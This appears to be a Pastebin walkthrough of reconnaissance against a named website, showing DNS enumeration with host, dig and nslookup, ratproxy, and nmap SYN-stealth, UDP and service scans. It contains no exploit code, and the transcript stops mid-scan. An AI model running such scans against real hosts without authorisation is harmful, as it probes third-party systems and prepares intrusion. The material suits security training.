API tools faq
paste
xe1phix

ParrotSec-Scanning.sh

xe1phix
May 7th, 2017 (edited)
249
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 103.70 KB | None | 0 0
raw download clone embed print report diff
  1. HOW TO SCAN A TARGET
  2.  
  3. 1. First of all localize the target that you want to scan!
  4.  
  5. TARGET
  6.  
  7. http://www.vyxunbnbs.com
  8.  
  9.  
  10. HOW TO USE NSLOOKUP DIG HOST KNOCK TO GET DNS INFOS OF THE TARGET MACHINE:
  11.  
  12. ┌─[root@parrot]─[~]
  13. └──╼ #host vyxunbnbs.com
  14. vyxunbnbs.com has address 198.71.232.3
  15. vyxunbnbs.com mail is handled by 0 smtp.secureserver.net.
  16. vyxunbnbs.com mail is handled by 10 mailstore1.secureserver.net.
  17.  
  18. ┌─[✗]─[root@parrot]─[~]
  19. └──╼ #host -t a vyxunbnbs.com
  20. vyxunbnbs.com has address 198.71.232.3
  21.  
  22. ┌─[root@parrot]─[~]
  23. └──╼ #host -t mx vyxunbnbs.com
  24. vyxunbnbs.com mail is handled by 0 smtp.secureserver.net.
  25. vyxunbnbs.com mail is handled by 10 mailstore1.secureserver.net.
  26.  
  27. ┌─[root@parrot]─[~]
  28. └──╼ #host -t ns vyxunbnbs.com
  29. vyxunbnbs.com name server ns67.domaincontrol.com.
  30. vyxunbnbs.com name server ns68.domaincontrol.com.
  31.  
  32. ┌─[root@parrot]─[~]
  33. └──╼ #host -t txt vyxunbnbs.com
  34. vyxunbnbs.com has no TXT record
  35.  
  36. ┌─[root@parrot]─[~]
  37. └──╼ #host -t cname vyxunbnbs.com
  38. vyxunbnbs.com has no CNAME record
  39.  
  40. ┌─[root@parrot]─[~]
  41. └──╼ #host -t soa vyxunbnbs.com
  42. vyxunbnbs.com has SOA record ns67.domaincontrol.com. dns.jomax.net. 2016052700 28800 7200 604800 600
  43.  
  44. ┌─[root@parrot]─[~]
  45. └──╼ #host vyxunbnbs.com ns67.domaincontrol.com
  46. Using domain server:
  47. Name: ns67.domaincontrol.com
  48. Address: 216.69.185.44#53
  49. Aliases:
  50.  
  51. vyxunbnbs.com has address 198.71.232.3
  52. vyxunbnbs.com mail is handled by 10 mailstore1.secureserver.net.
  53. vyxunbnbs.com mail is handled by 0 smtp.secureserver.net.
  54.  
  55. ┌─[root@parrot]─[~]
  56. └──╼ #host vyxunbnbs.com ns68.domaincontrol.com
  57. Using domain server:
  58. Name: ns68.domaincontrol.com
  59. Address: 208.109.255.44#53
  60. Aliases:
  61.  
  62. vyxunbnbs.com has address 198.71.232.3
  63. vyxunbnbs.com mail is handled by 10 mailstore1.secureserver.net.
  64. vyxunbnbs.com mail is handled by 0 smtp.secureserver.net.
  65.  
  66. ┌─[root@parrot]─[~]
  67. └──╼ #host -a vyxunbnbs.com
  68. Trying "vyxunbnbs.com"
  69. ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 5689
  70. ;; flags: qr rd ra; QUERY: 1, ANSWER: 6, AUTHORITY: 0, ADDITIONAL: 0
  71.  
  72. ;; QUESTION SECTION:
  73. ;vyxunbnbs.com.         IN  ANY
  74.  
  75. ;; ANSWER SECTION:
  76. vyxunbnbs.com.      510 IN  SOA ns67.domaincontrol.com. dns.jomax.net. 2016052700 28800 7200 604800 600
  77. vyxunbnbs.com.      455 IN  A   198.71.232.3
  78. vyxunbnbs.com.      2112    IN  MX  0 smtp.secureserver.net.
  79. vyxunbnbs.com.      2112    IN  MX  10 mailstore1.secureserver.net.
  80. vyxunbnbs.com.      3455    IN  NS  ns67.domaincontrol.com.
  81. vyxunbnbs.com.      3455    IN  NS  ns68.domaincontrol.com.
  82.  
  83. Received 209 bytes from 127.0.0.1#53 in 18 ms
  84.  
  85. ┌─[root@parrot]─[~]
  86. └──╼ #host -t any vyxunbnbs.com
  87. vyxunbnbs.com has SOA record ns67.domaincontrol.com. dns.jomax.net. 2016052700 28800 7200 604800 600
  88. vyxunbnbs.com has address 198.71.232.3
  89. vyxunbnbs.com mail is handled by 10 mailstore1.secureserver.net.
  90. vyxunbnbs.com mail is handled by 0 smtp.secureserver.net.
  91. vyxunbnbs.com name server ns68.domaincontrol.com.
  92. vyxunbnbs.com name server ns67.domaincontrol.com.
  93.  
  94. ┌─[root@parrot]─[~]
  95. └──╼ #host -6 vyxunbnbs.com
  96. vyxunbnbs.com has address 198.71.232.3
  97. vyxunbnbs.com mail is handled by 0 smtp.secureserver.net.
  98. vyxunbnbs.com mail is handled by 10 mailstore1.secureserver.net.
  99.  
  100. ┌─[root@parrot]─[~]
  101. └──╼ #host -6 -a vyxunbnbs.com
  102. Trying "vyxunbnbs.com"
  103. ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 14190
  104. ;; flags: qr rd ra; QUERY: 1, ANSWER: 6, AUTHORITY: 0, ADDITIONAL: 0
  105.  
  106. ;; QUESTION SECTION:
  107. ;vyxunbnbs.com.         IN  ANY
  108.  
  109. ;; ANSWER SECTION:
  110. vyxunbnbs.com.      471 IN  SOA ns67.domaincontrol.com. dns.jomax.net. 2016052700 28800 7200 604800 600
  111. vyxunbnbs.com.      416 IN  A   198.71.232.3
  112. vyxunbnbs.com.      2073    IN  MX  10 mailstore1.secureserver.net.
  113. vyxunbnbs.com.      2073    IN  MX  0 smtp.secureserver.net.
  114. vyxunbnbs.com.      3416    IN  NS  ns67.domaincontrol.com.
  115. vyxunbnbs.com.      3416    IN  NS  ns68.domaincontrol.com.
  116.  
  117. Received 209 bytes from ::1#53 in 14 ms
  118.  
  119. ┌─[✗]─[root@parrot]─[~]
  120. └──╼ #host -6 vyxunbnbs.com ns67.domaincontrol.com
  121. ;; connection timed out; no servers could be reached
  122.  
  123. ┌─[✗]─[root@parrot]─[~]
  124. └──╼ #host -6 vyxunbnbs.com ns68.domaincontrol.com
  125. ;; connection timed out; no servers could be reached
  126.  
  127. ┌─[✗]─[root@parrot]─[~]
  128. └──╼ #host -6 -t ns vyxunbnbs.com ns68.domaincontrol.com
  129. ;; connection timed out; no servers could be reached
  130.  
  131. ┌─[✗]─[root@parrot]─[~]
  132. └──╼ #host -6 -t ns vyxunbnbs.com ns67.domaincontrol.com
  133. ;; connection timed out; no servers could be reached
  134.  
  135. ┌─[✗]─[root@parrot]─[~]
  136. └──╼ #host 198.71.232.3
  137. 3.232.71.198.in-addr.arpa domain name pointer ip-198-71-232-3.ip.secureserver.net.
  138.  
  139. ┌─[root@parrot]─[~]
  140. └──╼ #host -v -t a vyxunbnbs.com
  141. Trying "vyxunbnbs.com"
  142. ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 21861
  143. ;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0
  144.  
  145. ;; QUESTION SECTION:
  146. ;vyxunbnbs.com.         IN  A
  147.  
  148. ;; ANSWER SECTION:
  149. vyxunbnbs.com.      259 IN  A   198.71.232.3
  150.  
  151. Received 47 bytes from 127.0.0.1#53 in 1 ms
  152.  
  153. ┌─[root@parrot]─[~]
  154. └──╼ #host -v -t a ip-198-71-232-3.ip.secureserver.net
  155. Trying "ip-198-71-232-3.ip.secureserver.net"
  156. ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 38259
  157. ;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0
  158.  
  159. ;; QUESTION SECTION:
  160. ;ip-198-71-232-3.ip.secureserver.net. IN    A
  161.  
  162. ;; ANSWER SECTION:
  163. ip-198-71-232-3.ip.secureserver.net. 3600 IN A  198.71.232.3
  164.  
  165. Received 69 bytes from 127.0.0.1#53 in 44 ms
  166.  
  167. ┌─[root@parrot]─[~]
  168. └──╼ #dig vyxunbnbs.com a
  169.  
  170. ; <<>> DiG 9.9.5-9+deb8u5-Debian <<>> vyxunbnbs.com a
  171. ;; global options: +cmd
  172. ;; Got answer:
  173. ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 8729
  174. ;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
  175.  
  176. ;; OPT PSEUDOSECTION:
  177. ; EDNS: version: 0, flags:; udp: 4096
  178. ;; QUESTION SECTION:
  179. ;vyxunbnbs.com.         IN  A
  180.  
  181. ;; ANSWER SECTION:
  182. vyxunbnbs.com.      164 IN  A   198.71.232.3
  183.  
  184. ;; Query time: 0 msec
  185. ;; SERVER: 127.0.0.1#53(127.0.0.1)
  186. ;; WHEN: Sun May 29 14:18:00 CEST 2016
  187. ;; MSG SIZE  rcvd: 58
  188.  
  189. ┌─[root@parrot]─[~]
  190. └──╼ #dig vyxunbnbs.com mx
  191.  
  192. ; <<>> DiG 9.9.5-9+deb8u5-Debian <<>> vyxunbnbs.com mx
  193. ;; global options: +cmd
  194. ;; Got answer:
  195. ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 62678
  196. ;; flags: qr rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 0, ADDITIONAL: 1
  197.  
  198. ;; OPT PSEUDOSECTION:
  199. ; EDNS: version: 0, flags:; udp: 4096
  200. ;; QUESTION SECTION:
  201. ;vyxunbnbs.com.         IN  MX
  202.  
  203. ;; ANSWER SECTION:
  204. vyxunbnbs.com.      1816    IN  MX  10 mailstore1.secureserver.net.
  205. vyxunbnbs.com.      1816    IN  MX  0 smtp.secureserver.net.
  206.  
  207. ;; Query time: 19 msec
  208. ;; SERVER: 127.0.0.1#53(127.0.0.1)
  209. ;; WHEN: Sun May 29 14:18:04 CEST 2016
  210. ;; MSG SIZE  rcvd: 106
  211.  
  212. ┌─[root@parrot]─[~]
  213. └──╼ #dig vyxunbnbs.com ns
  214.  
  215. ; <<>> DiG 9.9.5-9+deb8u5-Debian <<>> vyxunbnbs.com ns
  216. ;; global options: +cmd
  217. ;; Got answer:
  218. ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 60292
  219. ;; flags: qr rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 0, ADDITIONAL: 1
  220.  
  221. ;; OPT PSEUDOSECTION:
  222. ; EDNS: version: 0, flags:; udp: 4096
  223. ;; QUESTION SECTION:
  224. ;vyxunbnbs.com.         IN  NS
  225.  
  226. ;; ANSWER SECTION:
  227. vyxunbnbs.com.      3156    IN  NS  ns68.domaincontrol.com.
  228. vyxunbnbs.com.      3156    IN  NS  ns67.domaincontrol.com.
  229.  
  230. ;; Query time: 12 msec
  231. ;; SERVER: 127.0.0.1#53(127.0.0.1)
  232. ;; WHEN: Sun May 29 14:18:07 CEST 2016
  233. ;; MSG SIZE  rcvd: 94
  234.  
  235. ┌─[root@parrot]─[~]
  236. └──╼ #dig vyxunbnbs.com txt
  237.  
  238. ; <<>> DiG 9.9.5-9+deb8u5-Debian <<>> vyxunbnbs.com txt
  239. ;; global options: +cmd
  240. ;; Got answer:
  241. ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 36884
  242. ;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1
  243.  
  244. ;; OPT PSEUDOSECTION:
  245. ; EDNS: version: 0, flags:; udp: 4096
  246. ;; QUESTION SECTION:
  247. ;vyxunbnbs.com.         IN  TXT
  248.  
  249. ;; AUTHORITY SECTION:
  250. vyxunbnbs.com.      180 IN  SOA ns67.domaincontrol.com. dns.jomax.net. 2016052700 28800 7200 604800 600
  251.  
  252. ;; Query time: 12 msec
  253. ;; SERVER: 127.0.0.1#53(127.0.0.1)
  254. ;; WHEN: Sun May 29 14:18:13 CEST 2016
  255. ;; MSG SIZE  rcvd: 110
  256.  
  257. ┌─[root@parrot]─[~]
  258. └──╼ #dig vyxunbnbs.com soa
  259.  
  260. ; <<>> DiG 9.9.5-9+deb8u5-Debian <<>> vyxunbnbs.com soa
  261. ;; global options: +cmd
  262. ;; Got answer:
  263. ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 39124
  264. ;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
  265.  
  266. ;; OPT PSEUDOSECTION:
  267. ; EDNS: version: 0, flags:; udp: 4096
  268. ;; QUESTION SECTION:
  269. ;vyxunbnbs.com.         IN  SOA
  270.  
  271. ;; ANSWER SECTION:
  272. vyxunbnbs.com.      200 IN  SOA ns67.domaincontrol.com. dns.jomax.net. 2016052700 28800 7200 604800 600
  273.  
  274. ;; Query time: 12 msec
  275. ;; SERVER: 127.0.0.1#53(127.0.0.1)
  276. ;; WHEN: Sun May 29 14:18:18 CEST 2016
  277. ;; MSG SIZE  rcvd: 110
  278.  
  279. ┌─[root@parrot]─[~]
  280. └──╼ #dig vyxunbnbs.com cname
  281.  
  282. ; <<>> DiG 9.9.5-9+deb8u5-Debian <<>> vyxunbnbs.com cname
  283. ;; global options: +cmd
  284. ;; Got answer:
  285. ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 22218
  286. ;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1
  287.  
  288. ;; OPT PSEUDOSECTION:
  289. ; EDNS: version: 0, flags:; udp: 4096
  290. ;; QUESTION SECTION:
  291. ;vyxunbnbs.com.         IN  CNAME
  292.  
  293. ;; AUTHORITY SECTION:
  294. vyxunbnbs.com.      171 IN  SOA ns67.domaincontrol.com. dns.jomax.net. 2016052700 28800 7200 604800 600
  295.  
  296. ;; Query time: 18 msec
  297. ;; SERVER: 127.0.0.1#53(127.0.0.1)
  298. ;; WHEN: Sun May 29 14:18:38 CEST 2016
  299. ;; MSG SIZE  rcvd: 110
  300.  
  301. ┌─[root@parrot]─[~]
  302. └──╼ #dig +trace vyxunbnbs.com
  303.  
  304. ; <<>> DiG 9.9.5-9+deb8u5-Debian <<>> +trace vyxunbnbs.com
  305. ;; global options: +cmd
  306. .           287648  IN  NS  c.root-servers.net.
  307. .           287648  IN  NS  i.root-servers.net.
  308. .           287648  IN  NS  d.root-servers.net.
  309. .           287648  IN  NS  a.root-servers.net.
  310. .           287648  IN  NS  f.root-servers.net.
  311. .           287648  IN  NS  b.root-servers.net.
  312. .           287648  IN  NS  l.root-servers.net.
  313. .           287648  IN  NS  k.root-servers.net.
  314. .           287648  IN  NS  g.root-servers.net.
  315. .           287648  IN  NS  e.root-servers.net.
  316. .           287648  IN  NS  m.root-servers.net.
  317. .           287648  IN  NS  h.root-servers.net.
  318. .           287648  IN  NS  j.root-servers.net.
  319. .           510154  IN  RRSIG   NS 8 0 518400 20160608050000 20160529040000 60615 . LS0Bk52wYFCmp8Sk08+ePPeZV1ar3AciH05VrH5wlzpc5L1j7fW+Td6b 6yN+34QBVGQ+U0YqDCg8K63nUFxdEY1zGW2v9YjzvdNwVI7UnLIpqNK7 KNny7GHnoS/iB5T6wGeoXlJrlmCqGrhtbAuXdlkbViOELcbpK5ZvGs6L w3s=
  320. ;; Received 397 bytes from 127.0.0.1#53(127.0.0.1) in 264 ms
  321.  
  322. com.            172800  IN  NS  l.gtld-servers.net.
  323. com.            172800  IN  NS  c.gtld-servers.net.
  324. com.            172800  IN  NS  f.gtld-servers.net.
  325. com.            172800  IN  NS  h.gtld-servers.net.
  326. com.            172800  IN  NS  b.gtld-servers.net.
  327. com.            172800  IN  NS  k.gtld-servers.net.
  328. com.            172800  IN  NS  e.gtld-servers.net.
  329. com.            172800  IN  NS  j.gtld-servers.net.
  330. com.            172800  IN  NS  m.gtld-servers.net.
  331. com.            172800  IN  NS  i.gtld-servers.net.
  332. com.            172800  IN  NS  g.gtld-servers.net.
  333. com.            172800  IN  NS  a.gtld-servers.net.
  334. com.            172800  IN  NS  d.gtld-servers.net.
  335. com.            86400   IN  DS  30909 8 2 E2D3C916F6DEEAC73294E8268FB5885044A833FC5459588F4A9184CF C41A5766
  336. com.            86400   IN  RRSIG   DS 8 1 86400 20160608050000 20160529040000 60615 . D/SvLl6M/vyF6MOKUE220+xQgbpwKHLA+7eJedh6oJwvXiXB6QAPalag hfjxDtzqQ71OYQk0TyOOcW2CaTqduszIQjf/ckB9RAds1aip3b+BWMvq lSFtLCuKsFmKZkkAhhlNZRyVFc9s8wLW+G/RL52sQpRGMBLo3etB2/uX ckg=
  337. ;; Received 737 bytes from 192.36.148.17#53(i.root-servers.net) in 305 ms
  338.  
  339. vyxunbnbs.com.      172800  IN  NS  ns67.domaincontrol.com.
  340. vyxunbnbs.com.      172800  IN  NS  ns68.domaincontrol.com.
  341. CK0POJMG874LJREF7EFN8430QVIT8BSM.com. 86400 IN NSEC3 1 1 0 - CK0Q1GIN43N1ARRC9OSM6QPQR81H5M9A NS SOA RRSIG DNSKEY NSEC3PARAM
  342. CK0POJMG874LJREF7EFN8430QVIT8BSM.com. 86400 IN RRSIG NSEC3 8 2 86400 20160603045915 20160527034915 34745 com. pkQ5LWptuG019VnVIJOYy/noEwncYk2kml2Qkf+aTLF7lPHdRvcCkC0h ruJdoZAMHgX7byAmPSR9vi8q6OvKdXVmsMKfUBdLMNMpUhaBHpcTe1AI ezemeJmvAjVyqo7wVYwGa1/Y9ZHuUC9zKmc1xGbtP+jB/GiZHz9vShwH ohc=
  343. 9M14O3KSMS2015V8C22L03OVH85RIG84.com. 86400 IN NSEC3 1 1 0 - 9M17MO9DKQOAC1TE5B8KURUTFNKS98J7 NS DS RRSIG
  344. 9M14O3KSMS2015V8C22L03OVH85RIG84.com. 86400 IN RRSIG NSEC3 8 2 86400 20160604043916 20160528032916 34745 com. Cfkvje5CuuZtOQPGsBBMYJm3/6g3IRh7U6QorY6chCMhRiMWGAXKTwQL 84cGbqkma5Iz9A3BwYRdSqx9u27Ou2QA3ipt8zKJaD6ed0IeI2SbU8QZ HLuKxAcheIIqTf1pHy2cvkEjMDW6k3EHqdKR1goBKrESteb7ZPW7v0hY ih8=
  345. ;; Received 611 bytes from 192.5.6.30#53(a.gtld-servers.net) in 122 ms
  346.  
  347. vyxunbnbs.com.      600 IN  A   198.71.232.3
  348. vyxunbnbs.com.      3600    IN  NS  ns68.domaincontrol.com.
  349. vyxunbnbs.com.      3600    IN  NS  ns67.domaincontrol.com.
  350. ;; Received 110 bytes from 208.109.255.44#53(ns68.domaincontrol.com) in 30 ms
  351.  
  352. ┌─[root@parrot]─[~]
  353. └──╼ #dig +short vyxunbnbs.com
  354. 198.71.232.3
  355.  
  356. ┌─[root@parrot]─[~]
  357. └──╼ #dig +noall +answer  vyxunbnbs.com any
  358. vyxunbnbs.com.      108 IN  SOA ns67.domaincontrol.com. dns.jomax.net. 2016052700 28800 7200 604800 600
  359. vyxunbnbs.com.      53  IN  A   198.71.232.3
  360. vyxunbnbs.com.      1710    IN  MX  0 smtp.secureserver.net.
  361. vyxunbnbs.com.      1710    IN  MX  10 mailstore1.secureserver.net.
  362. vyxunbnbs.com.      3053    IN  NS  ns67.domaincontrol.com.
  363. vyxunbnbs.com.      3053    IN  NS  ns68.domaincontrol.com.
  364.  
  365. ┌─[root@parrot]─[~]
  366. └──╼ #dig -x +short 198.71.232.3
  367.  
  368. ; <<>> DiG 9.9.5-9+deb8u5-Debian <<>> -x +short 198.71.232.3
  369. ;; global options: +cmd
  370. ;; Got answer:
  371. ;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 54927
  372. ;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1
  373.  
  374. ;; OPT PSEUDOSECTION:
  375. ; EDNS: version: 0, flags:; udp: 4096
  376. ;; QUESTION SECTION:
  377. ;+short.in-addr.arpa.       IN  PTR
  378.  
  379. ;; AUTHORITY SECTION:
  380. in-addr.arpa.       3599    IN  SOA b.in-addr-servers.arpa. nstld.iana.org. 2015073655 1800 900 604800 3600
  381.  
  382. ;; Query time: 11 msec
  383. ;; SERVER: ::1#53(::1)
  384. ;; WHEN: Sun May 29 14:21:01 CEST 2016
  385. ;; MSG SIZE  rcvd: 116
  386.  
  387. ;; Got answer:
  388. ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 27483
  389. ;; flags: qr aa rd ra ad; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
  390.  
  391. ;; OPT PSEUDOSECTION:
  392. ; EDNS: version: 0, flags:; udp: 4096
  393. ;; QUESTION SECTION:
  394. ;198.71.232.3.          IN  A
  395.  
  396. ;; ANSWER SECTION:
  397. 198.71.232.3.       0   IN  A   198.71.232.3
  398.  
  399. ;; Query time: 0 msec
  400. ;; SERVER: 127.0.0.1#53(127.0.0.1)
  401. ;; WHEN: Sun May 29 14:21:01 CEST 2016
  402. ;; MSG SIZE  rcvd: 57
  403.  
  404. ┌─[root@parrot]─[~]
  405. └──╼ #dig -x 198.71.232.3 +short
  406. ip-198-71-232-3.ip.secureserver.net.
  407.  
  408. ┌─[root@parrot]─[~]
  409. └──╼ #dig +nssearch vyxunbnbs.com
  410. SOA ns67.domaincontrol.com. dns.jomax.net. 2016052700 28800 7200 604800 600 from server 216.69.185.44 in 30 ms.
  411. SOA ns67.domaincontrol.com. dns.jomax.net. 2016052700 28800 7200 604800 600 from server 208.109.255.44 in 30 ms.
  412. ;; connection timed out; no servers could be reached
  413.  
  414. ┌─[✗]─[root@parrot]─[~]
  415. └──╼ #dig +nocmd +noall +answer a vyxunbnbs.com
  416. vyxunbnbs.com.      600 IN  A   198.71.232.3
  417.  
  418. ┌─[root@parrot]─[~]
  419. └──╼ #dig +nocmd +noall +answer mx vyxunbnbs.com
  420. vyxunbnbs.com.      1529    IN  MX  0 smtp.secureserver.net.
  421. vyxunbnbs.com.      1529    IN  MX  10 mailstore1.secureserver.net.
  422.  
  423. ┌─[root@parrot]─[~]
  424. └──╼ #dig +nocmd +noall +answer ns vyxunbnbs.com
  425. vyxunbnbs.com.      2868    IN  NS  ns67.domaincontrol.com.
  426. vyxunbnbs.com.      2868    IN  NS  ns68.domaincontrol.com.
  427.  
  428. ┌─[root@parrot]─[~]
  429. └──╼ #dig +nocmd +noall +answer cname vyxunbnbs.com
  430.  
  431. ┌─[root@parrot]─[~]
  432. └──╼ #dig +nocmd +noall +answer txt vyxunbnbs.com
  433.  
  434. ┌─[root@parrot]─[~]
  435. └──╼ #dig +nocmd +noall +answer url vyxunbnbs.com
  436. vyxunbnbs.com.      554 IN  A   198.71.232.3
  437.  
  438. ┌─[root@parrot]─[~]
  439. └──╼ #dig vyxunbnbs.com +dnssec
  440.  
  441. ; <<>> DiG 9.9.5-9+deb8u5-Debian <<>> vyxunbnbs.com +dnssec
  442. ;; global options: +cmd
  443. ;; Got answer:
  444. ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 12137
  445. ;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
  446.  
  447. ;; OPT PSEUDOSECTION:
  448. ; EDNS: version: 0, flags: do; udp: 4096
  449. ;; QUESTION SECTION:
  450. ;vyxunbnbs.com.         IN  A
  451.  
  452. ;; ANSWER SECTION:
  453. vyxunbnbs.com.      446 IN  A   198.71.232.3
  454.  
  455. ;; Query time: 16 msec
  456. ;; SERVER: 127.0.0.1#53(127.0.0.1)
  457. ;; WHEN: Sun May 29 15:14:48 CEST 2016
  458. ;; MSG SIZE  rcvd: 58
  459.  
  460. ┌─[root@parrot]─[/home/roy/Desktop]
  461. └──╼ #nslookup
  462. > set type=A
  463. > www.vyxunbnbs.com
  464. Server:     127.0.0.1
  465. Address:    127.0.0.1#53
  466.  
  467. Non-authoritative answer:
  468. www.vyxunbnbs.com   canonical name = vyxunbnbs.com.
  469. Name:   vyxunbnbs.com
  470. Address: 198.71.232.3
  471. > set type=MX
  472. > www.vyxunbnbs.com
  473. Server:     127.0.0.1
  474. Address:    127.0.0.1#53
  475.  
  476. Non-authoritative answer:
  477. www.vyxunbnbs.com   canonical name = vyxunbnbs.com.
  478. vyxunbnbs.com   mail exchanger = 0 smtp.secureserver.net.
  479. vyxunbnbs.com   mail exchanger = 10 mailstore1.secureserver.net.
  480.  
  481. Authoritative answers can be found from:
  482. > set type=ns
  483. > www.vyxunbnbs.com
  484. Server:     127.0.0.1
  485. Address:    127.0.0.1#53
  486.  
  487. Non-authoritative answer:
  488. www.vyxunbnbs.com   canonical name = vyxunbnbs.com.
  489. vyxunbnbs.com   nameserver = ns68.domaincontrol.com.
  490. vyxunbnbs.com   nameserver = ns67.domaincontrol.com.
  491.  
  492. Authoritative answers can be found from:
  493. > set type=cname
  494. > www.vyxunbnbs.com
  495. Server:     127.0.0.1
  496. Address:    127.0.0.1#53
  497.  
  498. www.vyxunbnbs.com   canonical name = vyxunbnbs.com.
  499.  
  500. ┌─[root@parrot]─[~]
  501. └──╼ #nslookup
  502. > set type=TXT
  503. > www.vyxunbnbs.com
  504. Server:     127.0.0.1
  505. Address:    127.0.0.1#53
  506.  
  507. Non-authoritative answer:
  508. www.vyxunbnbs.com   canonical name = vyxunbnbs.com.
  509.  
  510. Authoritative answers can be found from:
  511. vyxunbnbs.com
  512.     origin = ns67.domaincontrol.com
  513.     mail addr = dns.jomax.net
  514.     serial = 2016052700
  515.     refresh = 28800
  516.     retry = 7200
  517.     expire = 604800
  518.     minimum = 600
  519. >
  520.  
  521. > set type=SOA
  522. > www.vyxunbnbs.com
  523. Server:     127.0.0.1
  524. Address:    127.0.0.1#53
  525.  
  526. Non-authoritative answer:
  527. www.vyxunbnbs.com   canonical name = vyxunbnbs.com.
  528. vyxunbnbs.com
  529.     origin = ns67.domaincontrol.com
  530.     mail addr = dns.jomax.net
  531.     serial = 2016052700
  532.     refresh = 28800
  533.     retry = 7200
  534.     expire = 604800
  535.     minimum = 600
  536.  
  537. Authoritative answers can be found from:
  538. >
  539.  
  540.  
  541. RUN RATPROXY
  542.  
  543. ┌─[root@parrot]─[~]
  544. └──╼ #ratproxy
  545. ratproxy version 1.58-beta by <lcamtuf@google.com>
  546.  
  547. [!] WARNING: Running with no command-line config options specified. This is
  548.     almost certainly not what you want, as most checks are disabled. Please
  549.     consult the documentation or use --help for more information.
  550.  
  551. [*] Proxy configured successfully. Have fun, and please do not be evil.
  552. [+] Accepting connections on port 8080/tcp (local only)...
  553.  
  554. do not close the window...minimize it and open a new terminal!
  555.  
  556.  
  557. RUN NMAP
  558.  
  559. ┌─[✗]─[root@parrot]─[~]
  560. └──╼ #nmap -sV -Pn 198.71.232.3
  561.  
  562. Starting Nmap 7.01 ( https://nmap.org ) at 2016-05-29 12:03 CEST
  563. mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
  564. Nmap scan report for 198.71.232.3
  565. Host is up (0.11s latency).
  566. Not shown: 998 filtered ports
  567. PORT    STATE SERVICE  VERSION
  568. 80/tcp  open  http     Samsung AllShare httpd
  569. 443/tcp open  ssl/http Samsung AllShare httpd
  570.  
  571. Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
  572. Nmap done: 1 IP address (1 host up) scanned in 26.28 seconds
  573.  
  574.  
  575. ┌─[root@parrot]─[~]
  576. └──╼ #nmap -sS -sU -T4 -A -v 198.71.232.3
  577.  
  578. Starting Nmap 7.01 ( https://nmap.org ) at 2016-05-29 12:04 CEST
  579. NSE: Loaded 132 scripts for scanning.
  580. NSE: Script Pre-scanning.
  581. Initiating NSE at 12:04
  582. Completed NSE at 12:04, 0.00s elapsed
  583. Initiating NSE at 12:04
  584. Completed NSE at 12:04, 0.00s elapsed
  585. Initiating Ping Scan at 12:04
  586. Scanning 198.71.232.3 [4 ports]
  587. Completed Ping Scan at 12:04, 0.11s elapsed (1 total hosts)
  588. mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
  589. Initiating SYN Stealth Scan at 12:04
  590. Scanning 198.71.232.3 [1000 ports]
  591. Discovered open port 443/tcp on 198.71.232.3
  592. Discovered open port 80/tcp on 198.71.232.3
  593. Completed SYN Stealth Scan at 12:04, 9.18s elapsed (1000 total ports)
  594. Initiating UDP Scan at 12:04
  595. Scanning 198.71.232.3 [1000 ports]
  596. Completed UDP Scan at 12:05, 5.55s elapsed (1000 total ports)
  597. Initiating Service scan at 12:05
  598. Scanning 1002 services on 198.71.232.3
  599. Service scan Timing: About 0.40% done
  600. Service scan Timing: About 3.29% done; ETC: 13:33 (1:25:39 remaining)
  601. Service scan Timing: About 6.29% done; ETC: 13:14 (1:05:05 remaining)
  602. Service scan Timing: About 9.28% done; ETC: 13:07 (0:57:01 remaining)
  603. Service scan Timing: About 12.28% done; ETC: 13:04 (0:52:10 remaining)
  604. Service scan Timing: About 15.27% done; ETC: 13:02 (0:48:33 remaining)
  605. Service scan Timing: About 20.86% done; ETC: 12:54 (0:39:05 remaining)
  606. Service scan Timing: About 21.26% done; ETC: 12:59 (0:43:13 remaining)
  607. Service scan Timing: About 26.75% done; ETC: 12:54 (0:36:12 remaining)
  608. Service scan Timing: About 27.25% done; ETC: 12:58 (0:38:57 remaining)
  609. Service scan Timing: About 32.73% done; ETC: 12:54 (0:33:09 remaining)
  610. Service scan Timing: About 38.72% done; ETC: 12:54 (0:30:09 remaining)
  611. Service scan Timing: About 44.71% done; ETC: 12:54 (0:27:10 remaining)
  612. Service scan Timing: About 50.70% done; ETC: 12:54 (0:24:12 remaining)
  613. Service scan Timing: About 56.69% done; ETC: 12:54 (0:21:14 remaining)
  614. Service scan Timing: About 62.67% done; ETC: 12:54 (0:18:18 remaining)
  615. Service scan Timing: About 68.56% done; ETC: 12:54 (0:15:25 remaining)
  616. Service scan Timing: About 74.55% done; ETC: 12:54 (0:12:29 remaining)
  617. Service scan Timing: About 80.54% done; ETC: 12:54 (0:09:32 remaining)
